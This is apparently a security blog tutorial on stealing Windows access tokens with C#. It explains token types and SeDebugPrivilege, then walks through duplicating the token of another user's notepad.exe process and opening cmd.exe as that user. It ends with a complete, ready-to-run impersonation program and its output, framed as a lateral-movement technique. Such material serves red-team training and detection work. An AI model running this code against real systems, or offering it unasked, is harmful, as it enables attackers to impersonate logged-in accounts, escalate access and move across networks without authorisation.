Access Tokens
When a user logs into a Windows computer, their identity is verified by the Local Security Authority (LSA). On successful authentication, the system creates an access token.
Every process executed by the user has a copy of this access token. The token includes information describing the identity of the user, and their associated privileges.
If an attacker can make a copy of a user’s access token, they can then impersonate that user.
This technique could be used to impersonate logged in domain accounts to perform lateral movement across a network.
Access Token Types
There are two types of access token;
- Delegate tokens – typically used for interactive logins.
- Impersonation tokens – apply to non interactive logins, such as accessing a SMB share. The access token can be passed to the server system to act on behalf of the user. Impersonation tokens can only be associated with threads, not processes.
Getting the Current Identity
First, let’s determine what our current user identity is.
1 2 3 4 5 6 7 8 9 | static void GetIdentity() { var identity = WindowsIdentity.GetCurrent(); Console.WriteLine( "Current User" ); Console.WriteLine( "--------------" ); Console.WriteLine( "SID:\t" + identity.User); Console.WriteLine( "Name:\t" + identity.Name); } |
This should produce the following output:
1 2 3 4 5 | -------------- Current User -------------- [+] SID: S-1-5-18 [+] Name: NT AUTHORITY\SYSTEM |
SeDebugPrivilege
By default users can only read memory from processes they started. Getting a copy of a users access token will require us to read memory from one of their processes.
In order to read memory for processes started by other users, the SeDebugPrivilege is required. Running “whoami /all” should show the status of this privilege:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ========================================= ================================================================== ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeLockMemoryPrivilege Lock pages in memory Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeTcbPrivilege Act as part of the operating system Enabled SeSecurityPrivilege Manage auditing and security log Disabled SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeLoadDriverPrivilege Load and unload device drivers Disabled SeSystemProfilePrivilege Profile system performance Enabled SeSystemtimePrivilege Change the system time Disabled SeProfileSingleProcessPrivilege Profile single process Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeCreatePagefilePrivilege Create a pagefile Enabled SeCreatePermanentPrivilege Create permanent shared objects Enabled SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled SeShutdownPrivilege Shut down the system Disabled SeDebugPrivilege Debug programs Enabled SeAuditPrivilege Generate security audits Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeManageVolumePrivilege Perform volume maintenance tasks Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled SeCreateSymbolicLinkPrivilege Create symbolic links Enabled SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled |
SeDebugPrivilege is typically granted to local administrators or the SYSTEM account.
Duplicating an Access Token
To duplicate a users access token, we need to identify a process they are running, then perform the following steps;
- Open the target process with OpenProcessToken
- Duplicate the processes access token with DuplicateTokenEx
- Use CreateProcessWithTokenW to spawn a new process, such as cmd.exe in the context of the user.
Alternatively the user can be impersonated with ImpersonateLoggedOnUser, instead of CreateProcessWithTokenW. This will impersonate the user in the context of the current thread. New processes spawned will not keep the user context.
OpenProcessToken
The below code finds the PID of notepad.exe and opens the processes access token:
1 2 3 4 5 6 7 8 9 | Process[] TargetProcess = Process.GetProcessesByName( "notepad" ); int pid = TargetProcess[0].Id; var currentProcess = Process.GetProcessById(pid); Console.WriteLine( "[+] Retrieving target process PID " ); Console.WriteLine( "[+] PID: " + pid.ToString()); Win32.Advapi.OpenProcessToken(currentProcess.Handle, ( uint )Win32.Advapi.DesiredAccess.TOKEN_ALL_ACCESS, out accessToken); Console.WriteLine( "[+] Opened process token: " + accessToken.ToString()); |
DuplicateTokenEx
Next, we duplicate the access token…
1 2 3 | var securityAttributes = new Win32.Advapi.SECURITY_ATTRIBUTES(); Win32.Advapi.DuplicateTokenEx(accessToken, Win32.Advapi.TokenAccess.TOKEN_ALL_ACCESS, ref securityAttributes, Win32.Advapi.SecurityImpersonationLevel.SECURITY_IMPERSONATION, Win32.Advapi.TokenType.TOKEN_IMPERSONATION, out accessTokenDuplicate); Console.WriteLine( "[+] Duplicated token: " + accessTokenDuplicate.ToString()); |
CreateProcessWithTokenW
CreateProcessWithTokenW can be called to start a process using the duplicated access token:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | // Run cmd.exe var pEnv = IntPtr.Zero; var startInfo = new Win32.Advapi.STARTUPINFO(); var procInfo = new Win32.Advapi.PROCESS_INFORMATION(); UnicodeEncoding unicode = new UnicodeEncoding(); string name = "cmd.exe" ; string arguments = "" ; Byte[] unicodeapp = unicode.GetBytes(name); Byte[] unicodeargs = unicode.GetBytes(name + " " + arguments); bool success = Win32.Advapi.CreateProcessWithTokenW( accessTokenDuplicate, // token 0, //dwLogon flags unicodeapp, // application unicodeargs, // arguments Win32.Advapi.CreationFlags.NewConsole, IntPtr.Zero, null , ref startInfo, out procInfo); |
ImpersonateLoggedOnUser
We can use ImpersonateLoggedOnUser to impersonate the token, however sub-processes won’t inherit these permissions.
1 2 3 | Win32.Advapi.ImpersonateLoggedOnUser(accessTokenDuplicate); var identity = new WindowsIdentity(accessTokenDuplicate); Console.WriteLine( "[+] Impersonated token: " + identity.Name.ToString()); |
Program Output
From the program output, we can see the SYSTEM user has impersonated the “bordergate” user successfully, by stealing the access token from notepad.exe. A new command prompt is opened running as bordergate.
![](https://www.bordergate.co.uk/wp-content/uploads/2022/05/result-500x383.png)
Code Listing
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 | using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; using System.Text; namespace TokenManipulation { internal class Program { static void Main( string [] args) { GetIdentity(); ImpersonateToken(); Console.ReadLine(); } static void ImpersonateToken() { try { var accessToken = IntPtr.Zero; var accessTokenDuplicate = IntPtr.Zero; Process[] TargetProcess = Process.GetProcessesByName( "notepad" ); int pid = TargetProcess[0].Id; var currentProcess = Process.GetProcessById(pid); Console.WriteLine( "[+] Retrieving target process PID " ); Console.WriteLine( "[+] PID: " + pid.ToString()); Win32.Advapi.OpenProcessToken(currentProcess.Handle, ( uint )Win32.Advapi.DesiredAccess.TOKEN_ALL_ACCESS, out accessToken); Console.WriteLine( "[+] Opened process token: " + accessToken.ToString()); var securityAttributes = new Win32.Advapi.SECURITY_ATTRIBUTES(); Win32.Advapi.DuplicateTokenEx(accessToken, Win32.Advapi.TokenAccess.TOKEN_ALL_ACCESS, ref securityAttributes, Win32.Advapi.SecurityImpersonationLevel.SECURITY_IMPERSONATION, Win32.Advapi.TokenType.TOKEN_IMPERSONATION, out accessTokenDuplicate); Console.WriteLine( "[+] Duplicated token: " + accessTokenDuplicate.ToString()); var identity = new WindowsIdentity(accessTokenDuplicate); // Run cmd.exe Console.WriteLine( "[+] Starting cmd.exe as user: \t" + identity.Name); var pEnv = IntPtr.Zero; var startInfo = new Win32.Advapi.STARTUPINFO(); var procInfo = new Win32.Advapi.PROCESS_INFORMATION(); UnicodeEncoding unicode = new UnicodeEncoding(); string name = "cmd.exe" ; string arguments = "" ; Byte[] unicodeapp = unicode.GetBytes(name); Byte[] unicodeargs = unicode.GetBytes(name + " " + arguments); bool success = Win32.Advapi.CreateProcessWithTokenW( accessTokenDuplicate, // token 0, // dwLogon flags unicodeapp, // application unicodeargs, // arguments Win32.Advapi.CreationFlags.NewConsole, // creation flags IntPtr.Zero, null , ref startInfo, out procInfo); } catch (Exception ex) { Console.WriteLine( "An error occurred : " + ex); } } static void GetIdentity() { var identity = WindowsIdentity.GetCurrent(); Console.WriteLine( "--------------" ); Console.WriteLine( "Current User" ); Console.WriteLine( "--------------" ); Console.WriteLine( "[+] SID:\t" + identity.User); Console.WriteLine( "[+] Name:\t" + identity.Name); } } public class Win32 { public class Advapi { [DllImport( "advapi32.dll" , SetLastError = true )] [ return : MarshalAs(UnmanagedType.Bool)] public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); [DllImport( "advapi32.dll" , SetLastError = true )] public static extern bool OpenProcessToken(SafeProcessHandle ProcessHandle, TokenAccessLevels DesiredAccess, out SafeAccessTokenHandle TokenHandle); [DllImport( "advapi32.dll" )] public extern static bool DuplicateTokenEx(IntPtr hExistingToken,TokenAccess dwDesiredAccess, ref SECURITY_ATTRIBUTES lpTokenAttributes, SecurityImpersonationLevel ImpersonationLevel, TokenType TokenType, out IntPtr phNewToken); [DllImport( "advapi32.dll" )] public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); [DllImport( "advapi32.dll" , SetLastError = true )] public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint Bufferlength, IntPtr PreviousState, IntPtr ReturnLength); [DllImport( "advapi32.dll" , SetLastError = true )] public static extern bool AdjustTokenPrivileges(SafeAccessTokenHandle TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, out uint ReturnLength); [DllImport( "advapi32.dll" , SetLastError = true , CharSet = CharSet.Unicode)] public static extern bool LookupPrivilegeValue( string lpSystemName, string lpName, out LUID lpLuid); [DllImport( "advapi32.dll" , SetLastError = true , CharSet = CharSet.Unicode)] internal static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, Byte[] lpApplicationName, Byte[] lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); public enum LogonFlags { WithProfile = 1, NetCredentialsOnly = 0 } public enum CreationFlags { DefaultErrorMode = 0x04000000, NewConsole = 0x00000010, NewProcessGroup = 0x00000200, SeparateWOWVDM = 0x00000800, Suspended = 0x00000004, UnicodeEnvironment = 0x00000400, ExtendedStartupInfoPresent = 0x00080000 } [StructLayout(LayoutKind.Sequential)] public struct Startupinfo { public Int32 cb; public String lpReserved; public String lpDesktop; public String lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct ProcessInformation { public IntPtr hProcess; public IntPtr hThread; public Int32 dwProcessId; public Int32 dwThreadId; } // This also works with CharSet.Ansi as long as the calling function uses the same character set. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential)] public struct TOKEN_PRIVILEGES { private uint privilegeCount; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] private LUID_AND_ATTRIBUTES[] privileges; public uint PrivilegeCount { get => privilegeCount; set => privilegeCount = value; } public LUID_AND_ATTRIBUTES[] Privileges { get => privileges; set => privileges = value; } } [StructLayout(LayoutKind.Sequential)] public struct LUID_AND_ATTRIBUTES { private LUID luid; private uint attributes; public LUID LUID { get => luid; set => luid = value; } public uint Attributes { get => attributes; set => attributes = value; } } [StructLayout(LayoutKind.Sequential)] public struct LUID { private uint lowPart; private int highPart; public uint LowPart { get => lowPart; set => lowPart = value; } public int HighPart { get => highPart; set => highPart = value; } } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public int nLength; public IntPtr lpSecurityDescriptor; public int bInheritHandle; } public enum DesiredAccess : uint { STANDARD_RIGHTS_REQUIRED = 0x000F0000, STANDARD_RIGHTS_READ = 0x00020000, TOKEN_ASSIGN_PRIMARY = 0x0001, TOKEN_DUPLICATE = 0x0002, TOKEN_IMPERSONATE = 0x0004, TOKEN_QUERY = 0x0008, TOKEN_QUERY_SOURCE = 0x0010, TOKEN_ADJUST_PRIVILEGES = 0x0020, TOKEN_ADJUST_GROUPS = 0x0040, TOKEN_ADJUST_DEFAULT = 0x0080, TOKEN_ADJUST_SESSIONID = 0x0100, TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY), TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID) } public enum TokenAccess : uint { TOKEN_ASSIGN_PRIMARY = 0x0001, TOKEN_DUPLICATE = 0x0002, TOKEN_IMPERSONATE = 0x0004, TOKEN_QUERY = 0x0008, TOKEN_QUERY_SOURCE = 0x0010, TOKEN_ADJUST_PRIVILEGES = 0x0020, TOKEN_ADJUST_GROUPS = 0x0040, TOKEN_ADJUST_DEFAULT = 0x0080, TOKEN_ADJUST_SESSIONID = 0x0100, TOKEN_ALL_ACCESS_P = 0x000F00FF, TOKEN_ALL_ACCESS = 0x000F01FF, TOKEN_READ = 0x00020008, TOKEN_WRITE = 0x000200E0, TOKEN_EXECUTE = 0x00020000 } public enum TokenType { TOKEN_PRIMARY = 1, TOKEN_IMPERSONATION } public enum SecurityImpersonationLevel { SECURITY_ANONYMOUS, SECURITY_IDENTIFICATION, SECURITY_IMPERSONATION, SECURITY_DELEGATION } } } } |